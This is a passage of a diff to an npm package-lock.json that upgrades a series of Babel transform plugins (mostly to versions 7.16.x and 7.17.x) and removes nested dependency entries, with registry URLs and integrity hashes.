"@babel/plugin-transform-computed-properties": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.14.5.tgz", - "integrity": "sha512-pWM+E4283UxaVzLb8UBXv4EIxMovU4zxT1OPnpHJcmnvyY9QbPPTKZfEj31EUvG3/EQRbYAGaYEUZ4yWOBC2xg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.16.7.tgz", + "integrity": "sha512-gN72G9bcmenVILj//sv1zLNaPyYcOzUho2lIJBMh/iakJ9ygCo/hEF9cpGb61SCMEDxbbyBoVQxrt+bWKu5KGw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-destructuring": { - "version": "7.14.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.14.7.tgz", - "integrity": "sha512-0mDE99nK+kVh3xlc5vKwB6wnP9ecuSj+zQCa/n0voENtP/zymdT4HH6QEb65wjjcbqr1Jb/7z9Qp7TF5FtwYGw==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.17.7.tgz", + "integrity": "sha512-XVh0r5yq9sLR4vZ6eVZe8FKfIcSgaTBxVBRSYokRj2qksf6QerYnTxz9/GTuKTH/n/HwLP7t6gtlybHetJ/6hQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-dotall-regex": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.14.5.tgz", - "integrity": "sha512-loGlnBdj02MDsFaHhAIJzh7euK89lBrGIdM9EAtHFo6xKygCUGuuWe07o1oZVk287amtW1n0808sQM99aZt3gw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.16.7.tgz", + "integrity": "sha512-Lyttaao2SjZF6Pf4vk1dVKv8YypMpomAbygW+mU5cYP3S5cWTfCJjG8xV6CFdzGFlfWK81IjL9viiTvpb6G7gQ==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-create-regexp-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-duplicate-keys": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.14.5.tgz", - "integrity": "sha512-iJjbI53huKbPDAsJ8EmVmvCKeeq21bAze4fu9GBQtSLqfvzj2oRuHVx4ZkDwEhg1htQ+5OBZh/Ab0XDf5iBZ7A==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.16.7.tgz", + "integrity": "sha512-03DvpbRfvWIXyK0/6QiR1KMTWeT6OcQ7tbhjrXyFS02kjuX/mu5Bvnh5SDSWHxyawit2g5aWhKwI86EE7GUnTw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-exponentiation-operator": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.14.5.tgz", - "integrity": "sha512-jFazJhMBc9D27o9jDnIE5ZErI0R0m7PbKXVq77FFvqFbzvTMuv8jaAwLZ5PviOLSFttqKIW0/wxNSDbjLk0tYA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.16.7.tgz", + "integrity": "sha512-8UYLSlyLgRixQvlYH3J2ekXFHDFLQutdy7FfFAMm3CPZ6q9wHCwnUyiXpQCe3gVVnQlHc5nsuiEVziteRNTXEA==", "dev": true, "requires": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-for-of": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.15.4.tgz", - "integrity": "sha512-DRTY9fA751AFBDh2oxydvVm4SYevs5ILTWLs6xKXps4Re/KG5nfUkr+TdHCrRWB8C69TlzVgA9b3RmGWmgN9LA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.16.7.tgz", + "integrity": "sha512-/QZm9W92Ptpw7sjI9Nx1mbcsWz33+l8kuMIQnDwgQBG5s3fAfQvkRjQ7NqXhtNcKOnPkdICmUHyCaWW06HCsqg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-function-name": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.14.5.tgz", - "integrity": "sha512-vbO6kv0fIzZ1GpmGQuvbwwm+O4Cbm2NrPzwlup9+/3fdkuzo1YqOZcXw26+YUJB84Ja7j9yURWposEHLYwxUfQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.16.7.tgz", + "integrity": "sha512-SU/C68YVwTRxqWj5kgsbKINakGag0KTgq9f2iZEXdStoAbOzLHEBRYzImmA6yFo8YZhJVflvXmIHUO7GWHmxxA==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-compilation-targets": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-literals": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.14.5.tgz", - "integrity": "sha512-ql33+epql2F49bi8aHXxvLURHkxJbSmMKl9J5yHqg4PLtdE6Uc48CH1GS6TQvZ86eoB/ApZXwm7jlA+B3kra7A==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.16.7.tgz", + "integrity": "sha512-6tH8RTpTWI0s2sV6uq3e/C9wPo4PTqqZps4uF0kzQ9/xPLFQtipynvmT1g/dOfEJ+0EQsHhkQ/zyRId8J2b8zQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-member-expression-literals": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.14.5.tgz", - "integrity": "sha512-WkNXxH1VXVTKarWFqmso83xl+2V3Eo28YY5utIkbsmXoItO8Q3aZxN4BTS2k0hz9dGUloHK26mJMyQEYfkn/+Q==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.16.7.tgz", + "integrity": "sha512-mBruRMbktKQwbxaJof32LT9KLy2f3gH+27a5XSuXo6h7R3vqltl0PgZ80C8ZMKw98Bf8bqt6BEVi3svOh2PzMw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-modules-amd": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.14.5.tgz", - "integrity": "sha512-3lpOU8Vxmp3roC4vzFpSdEpGUWSMsHFreTWOMMLzel2gNGfHE5UWIh/LN6ghHs2xurUp4jRFYMUIZhuFbody1g==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.16.7.tgz", + "integrity": "sha512-KaaEtgBL7FKYwjJ/teH63oAmE3lP34N3kshz8mm4VMAw7U3PxjVwwUmxEFksbgsNUaO3wId9R2AVQYSEGRa2+g==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-module-transforms": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-commonjs": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.15.4.tgz", - "integrity": "sha512-qg4DPhwG8hKp4BbVDvX1s8cohM8a6Bvptu4l6Iingq5rW+yRUAhe/YRup/YcW2zCOlrysEWVhftIcKzrEZv3sA==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.17.7.tgz", + "integrity": "sha512-ITPmR2V7MqioMJyrxUo2onHNC3e+MvfFiFIR0RP21d3PtlVb6sfzoxNKiphSZUOM9hEIdzCcZe83ieX3yoqjUA==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-simple-access": "^7.15.4", + "@babel/helper-module-transforms": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-simple-access": "^7.17.7", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-systemjs": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.15.4.tgz", - "integrity": "sha512-fJUnlQrl/mezMneR72CKCgtOoahqGJNVKpompKwzv3BrEXdlPspTcyxrZ1XmDTIr9PpULrgEQo3qNKp6dW7ssw==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.17.8.tgz", + "integrity": "sha512-39reIkMTUVagzgA5x88zDYXPCMT6lcaRKs1+S9K6NKBPErbgO/w/kP8GlNQTC87b412ZTlmNgr3k2JrWgHH+Bw==", "dev": true, "requires": { - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-module-transforms": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-validator-identifier": "^7.14.9", + "@babel/helper-hoist-variables": "^7.16.7", + "@babel/helper-module-transforms": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-validator-identifier": "^7.16.7", "babel-plugin-dynamic-import-node": "^2.3.3" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - } } }, "@babel/plugin-transform-modules-umd": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.14.5.tgz", - "integrity": "sha512-RfPGoagSngC06LsGUYyM9QWSXZ8MysEjDJTAea1lqRjNECE3y0qIJF/qbvJxc4oA4s99HumIMdXOrd+TdKaAAA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.16.7.tgz", + "integrity": "sha512-EMh7uolsC8O4xhudF2F6wedbSHm1HHZ0C6aJ7K67zcDNidMzVcxWdGr+htW9n21klm+bOn+Rx4CBsAntZd3rEQ==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-module-transforms": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.14.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.14.9.tgz", - "integrity": "sha512-l666wCVYO75mlAtGFfyFwnWmIXQm3kSH0C3IRnJqWcZbWkoihyAdDhFm2ZWaxWTqvBvhVFfJjMRQ0ez4oN1yYA==", + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.16.8.tgz", + "integrity": "sha512-j3Jw+n5PvpmhRR+mrgIh04puSANCk/T/UA3m3P1MjJkhlK906+ApHhDIqBQDdOgL/r1UYpz4GNclTXxyZrYGSw==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.14.5" + "@babel/helper-create-regexp-features-plugin": "^7.16.7" } }, "@babel/plugin-transform-new-target": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.14.5.tgz", - "integrity": "sha512-Nx054zovz6IIRWEB49RDRuXGI4Gy0GMgqG0cII9L3MxqgXz/+rgII+RU58qpo4g7tNEx1jG7rRVH4ihZoP4esQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.16.7.tgz", + "integrity": "sha512-xiLDzWNMfKoGOpc6t3U+etCE2yRnn3SM09BXqWPIZOBpL2gvVrBWUKnsJx0K/ADi5F5YC5f8APFfWrz25TdlGg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-object-super": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.14.5.tgz", - "integrity": "sha512-MKfOBWzK0pZIrav9z/hkRqIk/2bTv9qvxHzPQc12RcVkMOzpIKnFCNYJip00ssKWYkd8Sf5g0Wr7pqJ+cmtuFg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.16.7.tgz", + "integrity": "sha512-14J1feiQVWaGvRxj2WjyMuXS2jsBkgB3MdSN5HuC2G5nRspa5RK9COcs82Pwy5BuGcjb+fYaUj94mYcOj7rCvw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-replace-supers": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-replace-supers": "^7.16.7" } }, "@babel/plugin-transform-parameters": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.15.4.tgz", - "integrity": "sha512-9WB/GUTO6lvJU3XQsSr6J/WKvBC2hcs4Pew8YxZagi6GkTdniyqp8On5kqdK8MN0LMeu0mGbhPN+O049NV/9FQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.16.7.tgz", + "integrity": "sha512-AT3MufQ7zZEhU2hwOA11axBnExW0Lszu4RL/tAlUJBuNoRak+wehQW8h6KcXOcgjY42fHtDxswuMhMjFEuv/aw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-property-literals": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.14.5.tgz", - "integrity": "sha512-r1uilDthkgXW8Z1vJz2dKYLV1tuw2xsbrp3MrZmD99Wh9vsfKoob+JTgri5VUb/JqyKRXotlOtwgu4stIYCmnw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.16.7.tgz", + "integrity": "sha512-z4FGr9NMGdoIl1RqavCqGG+ZuYjfZ/hkCIeuH6Do7tXmSm0ls11nYVSJqFEUOSJbDab5wC6lRE/w6YjVcr6Hqw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-react-display-name": { - "version": "7.15.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.15.1.tgz", - "integrity": "sha512-yQZ/i/pUCJAHI/LbtZr413S3VT26qNrEm0M5RRxQJA947/YNYwbZbBaXGDrq6CG5QsZycI1VIP6d7pQaBfP+8Q==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.16.7.tgz", + "integrity": "sha512-qgIg8BcZgd0G/Cz916D5+9kqX0c7nPZyXaP8R2tLNN5tkyIZdG5fEwBrxwplzSnjC1jvQmyMNVwUCZPcbGY7Pg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-react-jsx": { - "version": "7.14.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.14.9.tgz", - "integrity": "sha512-30PeETvS+AeD1f58i1OVyoDlVYQhap/K20ZrMjLmmzmC2AYR/G43D4sdJAaDAqCD3MYpSWbmrz3kES158QSLjw==", + "version": "7.17.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.17.3.tgz", + "integrity": "sha512-9tjBm4O07f7mzKSIlEmPdiE6ub7kfIe6Cd+w+oQebpATfTQMAgW+YOuWxogbKVTulA+MEO7byMeIUtQ1z+z+ZQ==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.14.5", - "@babel/helper-module-imports": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/plugin-syntax-jsx": "^7.14.5", - "@babel/types": "^7.14.9" - }, - "dependencies": { - "@babel/helper-module-imports": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", - "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-jsx": "^7.16.7", + "@babel/types": "^7.17.0" } }, "@babel/plugin-transform-react-jsx-development": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.14.5.tgz", - "integrity": "sha512-rdwG/9jC6QybWxVe2UVOa7q6cnTpw8JRRHOxntG/h6g/guAOe6AhtQHJuJh5FwmnXIT1bdm5vC2/5huV8ZOorQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.16.7.tgz", + "integrity": "sha512-RMvQWvpla+xy6MlBpPlrKZCMRs2AGiHOGHY3xRwl0pEeim348dDyxeH4xBsMPbIMhujeq7ihE702eM2Ew0Wo+A==", "dev": true, "requires": { - "@babel/plugin-transform-react-jsx": "^7.14.5" + "@babel/plugin-transform-react-jsx": "^7.16.7" } }, "@babel/plugin-transform-react-pure-annotations": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.14.5.tgz", - "integrity": "sha512-3X4HpBJimNxW4rhUy/SONPyNQHp5YRr0HhJdT2OH1BRp0of7u3Dkirc7x9FRJMKMqTBI079VZ1hzv7Ouuz///g==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.16.7.tgz", + "integrity": "sha512-hs71ToC97k3QWxswh2ElzMFABXHvGiJ01IB1TbYQDGeWRKWz/MPUTh5jGExdHvosYKpnJW5Pm3S4+TA3FyX+GA==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-regenerator": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.14.5.tgz", - "integrity": "sha512-NVIY1W3ITDP5xQl50NgTKlZ0GrotKtLna08/uGY6ErQt6VEQZXla86x/CTddm5gZdcr+5GSsvMeTmWA5Ii6pkg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.16.7.tgz", + "integrity": "sha512-mF7jOgGYCkSJagJ6XCujSQg+6xC1M77/03K2oBmVJWoFGNUtnVJO4WHKJk3dnPC8HCcj4xBQP1Egm8DWh3Pb3Q==", "dev": true, "requires": { "regenerator-transform": "^0.14.2" } }, "@babel/plugin-transform-reserved-words": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.14.5.tgz", - "integrity": "sha512-cv4F2rv1nD4qdexOGsRQXJrOcyb5CrgjUH9PKrrtyhSDBNWGxd0UIitjyJiWagS+EbUGjG++22mGH1Pub8D6Vg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.16.7.tgz", + "integrity": "sha512-KQzzDnZ9hWQBjwi5lpY5v9shmm6IVG0U9pB18zvMu2i4H90xpT4gmqwPYsn8rObiadYe2M0gmgsiOIF5A/2rtg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-runtime": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.15.8.tgz", - "integrity": "sha512-+6zsde91jMzzvkzuEA3k63zCw+tm/GvuuabkpisgbDMTPQsIMHllE3XczJFFtEHLjjhKQFZmGQVRdELetlWpVw==", + "version": "7.17.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.17.0.tgz", + "integrity": "sha512-fr7zPWnKXNc1xoHfrIU9mN/4XKX4VLZ45Q+oMhfsYIaHvg7mHgmhfOy/ckRWqDK7XF3QDigRpkh5DKq6+clE8A==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", - "babel-plugin-polyfill-corejs2": "^0.2.2", - "babel-plugin-polyfill-corejs3": "^0.2.5", - "babel-plugin-polyfill-regenerator": "^0.2.2", + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.5.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", "semver": "^6.3.0" - }, - "dependencies": { - "@babel/helper-module-imports": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", - "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } } }, "@babel/plugin-transform-shorthand-properties": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.14.5.tgz", - "integrity": "sha512-xLucks6T1VmGsTB+GWK5Pl9Jl5+nRXD1uoFdA5TSO6xtiNjtXTjKkmPdFXVLGlK5A2/or/wQMKfmQ2Y0XJfn5g==", + "version": "7.16.7", + "resolved": 